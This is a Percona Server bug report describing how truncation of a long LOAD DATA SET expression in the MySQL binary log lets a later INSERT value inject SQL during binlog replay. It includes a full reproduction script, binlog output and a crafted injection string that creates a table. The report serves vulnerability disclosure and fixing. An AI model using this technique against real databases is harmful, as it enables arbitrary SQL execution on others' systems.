Uploaded image for project: 'Percona Server for MySQL'
  1. Percona Server for MySQL
  2. PS-663

LP #1175519: Incorrect truncation of long SET expression in LOAD DATA can cause SQL injection

    XMLWordPrintable

    Details

    • Type: Bug
    • Status: Done
    • Priority: High
    • Resolution: Fixed
    • Affects Version/s: None
    • Fix Version/s: None
    • Component/s: None
    • Labels:

      Description

      **Reported in Launchpad by Ovais Tariq last update 26-08-2013 11:43:30

      Suppose you have the following files:

      – sql script (test_truncation.sql)
      FLUSH LOGS;
      CREATE TABLE t1 (a INT PRIMARY KEY, b VARCHAR(1000));
      LOAD DATA INFILE '/work/sandboxes/msb_5_5_31/SQL_LOAD-2-1-3.data' INTO TABLE t1
      FIELDS TERMINATED BY ','
      (a, @b) SET b = CONCAT(@b, '| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|', @b);
      SELECT * FROM t1 ORDER BY a;
      INSERT INTO t1 SET a=100, b="'); CREATE TABLE t_sql_injection(a INT PRIMARY KEY);";
      SELECT * FROM t1 ORDER BY a;
      SHOW TABLES;
      FLUSH LOGS;

      – load data file (/work/sandboxes/msb_5_5_31/SQL_LOAD-2-1-3.data)
      1,X
      2,A

      Now let's execute the test_truncation.sql file:
      [root@ovaistariq-test msb_5_5_31]# ./use -A test < test_truncation.sql
      a b
      1 X| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|X
      2 A| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|A
      a b
      1 X| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|X
      2 A| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|A
      100 '); CREATE TABLE t_sql_injection(a INT PRIMARY KEY);
      Tables_in_test
      t1

      Let's check the binary log that is generated as a result:

      [root@ovaistariq-test msb_5_5_31]# mysqlbinlog data/mysql_sandbox5531-bin.000006
      /!40019 SET @@session.max_insert_delayed_threads=0/;
      /!50003 SET @OLD_COMPLETION_TYPE=@@COMPLETION_TYPE,COMPLETION_TYPE=0/;
      DELIMITER /!/;

      1. at 4
        #130502 11:08:21 server id 1 end_log_pos 107 Start: binlog v 4, server v 5.5.31-log created 130502 11:08:21
        BINLOG '
        BS2CUQ8BAAAAZwAAAGsAAAAAAAQANS41LjMxLWxvZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAEzgNAAgAEgAEBAQEEgAAVAAEGggAAAAICAgCAA==
        '/!/;
      2. at 107
        #130502 11:08:21 server id 1 end_log_pos 222 Query thread_id=6 exec_time=1 error_code=0
        use test/!/;
        SET TIMESTAMP=1367485701/!/;
        SET @@session.pseudo_thread_id=6/!/;
        SET @@session.foreign_key_checks=1, @@session.sql_auto_is_null=0, @@session.unique_checks=1, @@session.autocommit=1/!/;
        SET @@session.sql_mode=0/!/;
        SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/!/;
        /Unable to render embedded object: File (\C utf8 *//*) not found./;
        SET @@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=8/!/;
        SET @@session.lc_time_names=0/!/;
        SET @@session.collation_database=DEFAULT/!/;
        CREATE TABLE t1 (a INT PRIMARY KEY, b VARCHAR(1000))
        /!/;
      3. at 222
        #130502 11:08:22 server id 1 end_log_pos 290 Query thread_id=6 exec_time=0 error_code=0
        SET TIMESTAMP=1367485702/!/;
        BEGIN
        /!/;
      4. at 290
        #130502 11:08:22 server id 1 end_log_pos 321
        #Begin_load_query: file_id: 2 block_len: 8
      5. at 321
        #130502 11:08:22 server id 1 end_log_pos 835 Execute_load_query thread_id=6 exec_time=0 error_code=0
        SET TIMESTAMP=1367485702/!/;
        LOAD DATA LOCAL INFILE '/tmp/SQL_LOAD_MB-2-d' INTO TABLE `t1` FIELDS TERMINATED BY ',' ENCLOSED BY '' ESCAPED BY '
        ' LINES TERMINATED BY '\n' (`a`, @`b`) SET `b`= CONCAT(@b, '| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X1
        /!/;
      6. file_id: 2
      7. at 835
        #130502 11:08:22 server id 1 end_log_pos 862 Xid = 31
        COMMIT/!/;
      8. at 862
        #130502 11:08:22 server id 1 end_log_pos 930 Query thread_id=6 exec_time=0 error_code=0
        SET TIMESTAMP=1367485702/!/;
        BEGIN
        /!/;
      9. at 930
        #130502 11:08:22 server id 1 end_log_pos 1075 Query thread_id=6 exec_time=0 error_code=0
        SET TIMESTAMP=1367485702/!/;
        INSERT INTO t1 SET a=100, b="'); CREATE TABLE t_sql_injection(a INT PRIMARY KEY);"
        /!/;
      10. at 1075
        #130502 11:08:22 server id 1 end_log_pos 1102 Xid = 33
        COMMIT/!/;
      11. at 1102
        #130502 11:08:22 server id 1 end_log_pos 1157 Rotate to mysql_sandbox5531-bin.000007 pos: 4
        DELIMITER ;
      12. End of log file
        ROLLBACK /* added by mysqlbinlog */;
        /!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE/;

      And you can see that LOAD DATA is incorrectly truncated, meaning that a subsequent malicious query can cause SQL Injection. The subsequent INSERT query can now execute any other query, in the example above it can create a new table `t_sql_injection`.

      Now let's drop the table t1 and pipe the mysqlbinlog output of the above binlog to mysql client (as is done during PITR):
      [root@ovaistariq-test msb_5_5_31]# ./use -A test
      Welcome to the MySQL monitor. Commands end with ; or \g.
      Your MySQL connection id is 7
      Server version: 5.5.31-log MySQL Community Server (GPL)

      Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

      Oracle is a registered trademark of Oracle Corporation and/or its
      affiliates. Other names may be trademarks of their respective
      owners.

      Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

      mysql [localhost]

      {msandbox} (test) > drop table t1;
      Query OK, 0 rows affected (0.12 sec)

      mysql [localhost] {msandbox}

      (test) > Bye
      [root@ovaistariq-test msb_5_5_31]# mysqlbinlog data/mysql_sandbox5531-bin.000006 | ./use -A test
      ERROR 1064 (42000) at line 35: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"
      /!/;

      1. at 1075
        #130502 11:08:22 server id 1 end_log_pos 1102 Xid = 33
        COMM' at line 1

      Now let's check to see if the table `t_sql_injection` got created or not:
      [root@ovaistariq-test msb_5_5_31]# ./use -A test
      Welcome to the MySQL monitor. Commands end with ; or \g.
      Your MySQL connection id is 9
      Server version: 5.5.31-log MySQL Community Server (GPL)

      Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

      Oracle is a registered trademark of Oracle Corporation and/or its
      affiliates. Other names may be trademarks of their respective
      owners.

      Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

      mysql [localhost]

      {msandbox} (test) > show tables;
      -----------------
      | Tables_in_test |
      -----------------
      | t1 |
      | t_sql_injection |
      -----------------
      2 rows in set (0.00 sec)

      mysql [localhost] {msandbox}

      (test) > Bye

      As you can see I was able to successfully do SQL injection and could have executed any arbitrary statement.

        Attachments

          Activity

            People

            Assignee:
            Unassigned
            Reporter:
            lpjirasync lpjirasync (Inactive)
            Votes:
            0 Vote for this issue
            Watchers:
            1 Start watching this issue

              Dates

              Created:
              Updated:
              Resolved:

                Smart Checklist